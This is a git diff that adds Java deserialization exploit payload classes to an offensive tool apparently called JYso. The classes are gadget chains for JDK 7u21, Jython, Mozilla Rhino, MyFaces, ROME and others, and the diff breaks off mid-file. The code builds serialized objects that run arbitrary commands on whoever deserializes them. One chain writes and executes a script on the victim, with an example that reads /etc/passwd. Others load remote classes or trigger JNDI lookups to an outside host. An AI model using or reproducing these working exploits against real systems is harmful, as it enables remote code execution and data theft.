+ * LinkedHashSet.readObject() + * LinkedHashSet.add() + * ... + * TemplatesImpl.hashCode() (X) + * LinkedHashSet.add() + * ... + * Proxy(Templates).hashCode() (X) + * AnnotationInvocationHandler.invoke() (X) + * AnnotationInvocationHandler.hashCodeImpl() (X) + * String.hashCode() (0) + * AnnotationInvocationHandler.memberValueHashCode() (X) + * TemplatesImpl.hashCode() (X) + * Proxy(Templates).equals() + * AnnotationInvocationHandler.invoke() + * AnnotationInvocationHandler.equalsImpl() + * Method.invoke() + * ... + * TemplatesImpl.getOutputProperties() + * TemplatesImpl.newTransformer() + * TemplatesImpl.getTransletInstance() + * TemplatesImpl.defineTransletClasses() + * ClassLoader.defineClass() + * Class.newInstance() + * ... + * MaliciousClass.() + * ... + * Runtime.exec() + */ + +@SuppressWarnings({"rawtypes", "unchecked", "unused"}) +@Dependencies() +@Authors({Authors.FROHOFF}) +public class Jdk7u21 implements ObjectPayload { + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); + } + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + // hashCode 为 0 的字符串 + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + // 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理 + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor constructor = c.getDeclaredConstructors()[0]; + constructor.setAccessible(true); + InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map); + + // 反射写入 AnnotationInvocationHandler 的 type + Reflections.setFieldValue(tempHandler, "type", Templates.class); + + // 为 Templates 创建动态代理 + Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), + new Class[]{Templates.class}, tempHandler); + + // LinkedHashSet 中放入 TemplatesImpl 以及动态代理类 + LinkedHashSet set = new LinkedHashSet(); // maintain order + set.add(templates); + set.add(proxy); + + // 反射将 _auxClasses 和 _class 修改为 null + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + // 向 map 中替换 tmpl 对象 + map.put(zeroHashCodeStr, templates); + + return set; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java new file mode 100644 index 0000000..c040f48 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Jdk7u21variant.java @@ -0,0 +1,47 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.rmi.MarshalledObject; +import java.util.HashMap; +import java.util.LinkedHashSet; + + +@Authors({"potats0"}) +public class Jdk7u21variant implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + Reflections.setFieldValue(tempHandler, "type", Templates.class); + Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); + + LinkedHashSet set = new LinkedHashSet(); + set.add(templates); + set.add(proxy); + + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + map.put(zeroHashCodeStr, templates); + + MarshalledObject marshalledObject = new MarshalledObject(set); + Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class); + + set = new LinkedHashSet(); // maintain order + set.add(marshalledObject); + set.add(proxy); + map.put(zeroHashCodeStr, marshalledObject); // swap in real object + return set; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jython1.java b/src/main/java/com/qi4l/JYso/gadgets/Jython1.java new file mode 100644 index 0000000..33a9ace --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Jython1.java @@ -0,0 +1,101 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.io.FileUtils; +import org.python.core.*; + +import java.io.File; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.math.BigInteger; +import java.util.Arrays; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + *

+ * This version of Jython1 writes a python script on the victim machine and + * executes it. The format of the parameters is: + *

+ * ; + *

+ * Where local path is the python script's location on the attack box and + * remote path is the location where the script will be written/executed from. + * For example: + *

+ * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" + *

+ * In the above example, if "read_etc_passwd.py" simply contained the string: + *

+ * raise Exception(open('/etc/passwd', 'r').read()) + *

+ * Then, when deserialized, the script will read in /etc/passwd and raise an + * exception with its contents (which could be useful if the target returns + * exception information). + */ + +@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) +@Dependencies({"org.python:jython-standalone:2.5.2"}) +@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) +public class Jython1 implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + + + String[] paths = command.split(":"); + if (paths.length != 2) { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); + } + + // Set payload parameters + String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); + + // Python bytecode to write a file on disk and execute it + String code = + "740000" + //0 LOAD_GLOBAL 0 (open) + "640100" + //3 LOAD_CONST 1 (remote path) + "640200" + //6 LOAD_CONST 2 ('w+') + "830200" + //9 CALL_FUNCTION 2 + "7D0000" + //12 STORE_FAST 0 (file) + + "7C0000" + //15 LOAD_FAST 0 (file) + "690100" + //18 LOAD_ATTR 1 (write) + "640300" + //21 LOAD_CONST 3 (python code) + "830100" + //24 CALL_FUNCTION 1 + "01" + //27 POP_TOP + + "7C0000" + //28 LOAD_FAST 0 (file) + "690200" + //31 LOAD_ATTR 2 (close) + "830000" + //34 CALL_FUNCTION 0 + "01" + //37 POP_TOP + + "740300" + //38 LOAD_GLOBAL 3 (execfile) + "640100" + //41 LOAD_CONST 1 (remote path) + "830100" + //44 CALL_FUNCTION 1 + "01" + //47 POP_TOP + "640000" + //48 LOAD_CONST 0 (None) + "53"; //51 RETURN_VALUE + + // Helping consts and names + PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; + String[] names = new String[]{"open", "write", "close", "execfile"}; + + // Generating PyBytecode wrapper for our python bytecode + PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "", 0, ""); + Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); + + // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method + PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); + + // Prepare Trigger Gadget + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, (InvocationHandler) handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[]{1, 1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + return priorityQueue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java b/src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java new file mode 100644 index 0000000..48963c4 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java @@ -0,0 +1,13 @@ +package com.qi4l.JYso.gadgets; + +import java.net.URI; + +public class LazySearchEnumeration implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + UtilFactory uf = new UtilFactory(); + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[ 0 ], args[ 1 ]))); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java new file mode 100644 index 0000000..8bbec00 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino1.java @@ -0,0 +1,72 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.mozilla.javascript.*; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + + + +/* + by @matthias_kaiser +*/ + +@SuppressWarnings({"unused"}) +@Dependencies({"rhino:js:1.7R2"}) +@Authors({Authors.MATTHIASKAISER}) +public class MozillaRhino1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + public Object getObject(String command) throws Exception { + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); + Reflections.setAccessible(nativeErrorConstructor); + IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); + + Context context = Context.enter(); + + NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); + + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + idScriptableObject.setGetterOrSetter("name", 0, method, false); + + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); + idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); + + Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); + Reflections.setAccessible(getSlot); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); + Reflections.setAccessible(getter); + + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); + Reflections.setAccessible(memberboxClassConstructor); + Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); + getter.set(slot, memberboxes); + + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class); + idScriptableObject.setPrototype(nativeObject); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + Reflections.setAccessible(valField); + valField.set(badAttributeValueExpException, idScriptableObject); + return badAttributeValueExpException; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java new file mode 100644 index 0000000..137927c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/MozillaRhino2.java @@ -0,0 +1,104 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.mozilla.javascript.*; +import org.mozilla.javascript.tools.shell.Environment; + +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Method; +import java.util.Hashtable; +import java.util.Map; + + +/** + * Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject + *

+ * Chain: + *

+ * NativeJavaObject.readObject() + * JavaAdapter.readAdapterObject() + * ObjectInputStream.readObject() + * ... + * NativeJavaObject.readObject() + * JavaAdapter.readAdapterObject() + * JavaAdapter.getAdapterClass() + * JavaAdapter.getObjectFunctionNames() + * ScriptableObject.getProperty() + * ScriptableObject.get() + * ScriptableObject.getImpl() + * Method.invoke() + * Context.enter() + * JavaAdapter.getAdapterClass() + * JavaAdapter.getObjectFunctionNames() + * ScriptableObject.getProperty() + * NativeJavaArray.get() + * NativeJavaObject.get() + * JavaMembers.get() + * Method.invoke() + * TemplatesImpl.getOutputProperties() + * ... + *

+ * by @_tint0 + */ +@Dependencies({"rhino:js:1.7R2"}) +@Authors({Authors.TINT0}) +public class MozillaRhino2 implements ObjectPayload { + public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { + out.writeObject("java.lang.Object"); + out.writeObject(new String[0]); + out.writeObject(javaObject); + } + + @Override + public Object getObject(String command) throws Exception { + ScriptableObject dummyScope = new Environment(); + Map associatedValues = new Hashtable(); + associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); + Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); + + Object initContextMemberBox = Reflections.createWithConstructor( + Class.forName("org.mozilla.javascript.MemberBox"), + (Class) Class.forName("org.mozilla.javascript.MemberBox"), + new Class[]{Method.class}, + new Object[]{Context.class.getMethod("enter")}); + + ScriptableObject initContextScriptableObject = new Environment(); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + Reflections.setAccessible(makeSlot); + Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); + Reflections.setFieldValue(slot, "getter", initContextMemberBox); + + NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); + + ScriptableObject scriptableObject = new Environment(); + scriptableObject.setParentScope(initContextNativeJavaObject); + makeSlot.invoke(scriptableObject, "outputProperties", 0, 2); + + NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); + Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); + + final Object tpl; + tpl = Gadgets.createTemplatesImpl(command); + + Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl); + nativeJavaArray.setPrototype(scriptableObject); + Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); + + NativeJavaObject nativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); + return nativeJavaObject; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java b/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java new file mode 100644 index 0000000..5d48aaf --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Myfaces1.java @@ -0,0 +1,82 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; + +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +/** + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + *

+ * Arguments: + * - an EL expression to execute + *

+ * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@Dependencies +@Authors({Authors.MBECHLER}) +public class Myfaces1 implements ObjectPayload, DynamicDependencies { + public static String[] getDependencies() { + if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) { + return new String[]{ + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ("juel".equals(System.getProperty("el"))) { + return new String[]{ + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + public static Object makeExpressionPayload(String expr) throws Exception { + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + return Gadgets.makeMap(e2, e); + } + + @Override + public Object getObject(String command) throws Exception { + return makeExpressionPayload(command); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java b/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java new file mode 100644 index 0000000..5eba505 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Myfaces2.java @@ -0,0 +1,27 @@ +package com.qi4l.JYso.gadgets; + +public class Myfaces2 implements ObjectPayload, DynamicDependencies { + @Override + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ + String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; + + // if we add fewer than the actual classloaders we end up with a null entry + for (int i = 0; i < 100; i++) { + expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; + } + expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + + return Myfaces1.makeExpressionPayload(expr); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java b/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java new file mode 100644 index 0000000..aa7f458 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ObjectPayload.java @@ -0,0 +1,104 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.LdapServer; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import org.reflections.Reflections; + +import java.lang.reflect.Modifier; +import java.util.Iterator; +import java.util.Random; +import java.util.Set; + +import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap; + +public interface ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String command) throws Exception; + + public static class Utils { + + // get payload classes by classpath scanning + public static Set> getPayloadClasses() { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + for (Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if (pc.isInterface() || Modifier.isAbstract(pc.getModifiers())) { + iterator.remove(); + } + } + return payloadTypes; + } + + + @SuppressWarnings("unchecked") + public static Class getPayloadClass(final String className) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } catch (Exception ignored) { + } + if (clazz == null) { + try { + return clazz = (Class) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className); + }catch (NoClassDefFoundError e) { + clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className); + } + catch (Exception ignored) { + clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className); + } + } + if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) { + clazz = null; + } + return clazz; + } + + + @SuppressWarnings("unchecked") + public static void releasePayload(ObjectPayload payload, Object object) throws Exception { + if (payload instanceof ReleaseableObjectPayload) { + ((ReleaseableObjectPayload) payload).release(object); + } + } + + + public static void releasePayload(String payloadType, Object payloadObject) { + final Class payloadClass = getPayloadClass(payloadType); + if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + releasePayload(payload, payloadObject); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + //生成随机字符 + public static String generateRandomString(int length) { + String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + StringBuilder sb = new StringBuilder(); + + Random random = new Random(); + for (int i = 0; i < length; i++) { + int index = random.nextInt(characters.length()); + char randomChar = characters.charAt(index); + sb.append(randomChar); + } + + return sb.toString(); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME.java b/src/main/java/com/qi4l/JYso/gadgets/ROME.java new file mode 100644 index 0000000..d4dcbef --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME.java @@ -0,0 +1,39 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.sun.syndication.feed.impl.ObjectBean; + +import javax.xml.transform.Templates; + + +/** + * TemplatesImpl.getOutputProperties() + * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) + * NativeMethodAccessorImpl.invoke(Object, Object[]) + * DelegatingMethodAccessorImpl.invoke(Object, Object[]) + * Method.invoke(Object, Object...) + * ToStringBean.toString(String) + * ToStringBean.toString() + * ObjectBean.toString() + * EqualsBean.beanHashCode() + * ObjectBean.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies("rome:rome:1.0") +@Authors({Authors.MBECHLER}) +public class ROME implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + ObjectBean delegate = new ObjectBean(Templates.class, templates); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return Gadgets.makeMap(root, root); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME2.java b/src/main/java/com/qi4l/JYso/gadgets/ROME2.java new file mode 100644 index 0000000..cec2ce6 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME2.java @@ -0,0 +1,34 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.syndication.feed.impl.EqualsBean; + +import javax.xml.transform.Templates; +import java.util.Map; + + +@Dependencies("rome:rome:1.0") +public class ROME2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object o; + + o = Gadgets.createTemplatesImpl(command); + + EqualsBean bean = new EqualsBean(String.class, ""); + + Map map1 = Gadgets.createMap("aa", o); + map1.put("bB", bean); + + Map map2 = Gadgets.createMap("aa", bean); + map2.put("bB", o); + + Reflections.setFieldValue(bean, "_beanClass", Templates.class); + Reflections.setFieldValue(bean, "_obj", o); + + return Gadgets.makeMap(map1, map2); + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROME3.java b/src/main/java/com/qi4l/JYso/gadgets/ROME3.java new file mode 100644 index 0000000..504c082 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ROME3.java @@ -0,0 +1,23 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.syndication.feed.impl.ObjectBean; + +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; + +@Authors({"Firebasky"}) +@Dependencies("rome:rome:1.0") +public class ROME3 implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + Object o = Gadgets.createTemplatesImpl(command); + ObjectBean delegate = new ObjectBean(Templates.class, o); + BadAttributeValueExpException b = new BadAttributeValueExpException(""); + Reflections.setFieldValue(b, "val", delegate); + return b; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java b/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java new file mode 100644 index 0000000..646ea5a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java @@ -0,0 +1,35 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.rometools.rome.feed.impl.EqualsBean; +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.rowset.JdbcRowSetImpl; + + +public class ROMEJDBC implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + // Assuming makeJNDIRowSet is a static method in JDKUtil + return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command)); + } + + public Object makeROMEAllPropertyTrigger(Class type, T obj) throws Exception { + ToStringBean item = new ToStringBean(type, obj); + EqualsBean root = new EqualsBean(ToStringBean.class, item); + return makeHashCodeTrigger(root); + } + + public Object makeHashCodeTrigger(Object o1) throws Exception { + return JDKUtil.makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object + } + + // Assuming JDKUtil class with makeJNDIRowSet method + public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception { + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiUrl); + rs.setMatchColumn("foo"); + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); + return rs; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java b/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java new file mode 100644 index 0000000..7212497 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java @@ -0,0 +1,6 @@ +package com.qi4l.JYso.gadgets; + +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release(T obj) throws Exception; +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java b/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java new file mode 100644 index 0000000..b90cac2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/RenderedImage.java @@ -0,0 +1,56 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; + +import javax.imageio.ImageIO; +import javax.media.jai.remote.SerializableRenderedImage; +import java.awt.image.BufferedImage; +import java.io.ByteArrayInputStream; +import java.net.InetAddress; + +@Dependencies({"javax.media:jai-codec-1.1.3"}) +public class RenderedImage implements ObjectPayload { + public static byte hexToByte(String inHex) { + return (byte) Integer.parseInt(inHex, 16); + } + + public static byte[] hexToByteArray(String inHex) { + int hexlen = inHex.length(); + byte[] result; + if (hexlen % 2 == 1) { + hexlen++; + result = new byte[(hexlen / 2)]; + inHex = "0" + inHex; + } else { + result = new byte[(hexlen / 2)]; + } + int j = 0; + for (int i = 0; i < hexlen; i += 2) { + result[j] = hexToByte(inHex.substring(i, i + 2)); + j++; + } + return result; + } + + @Override + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String host = command.substring(0, sep); + String port = command.substring(sep + 1); + + String imageHex = 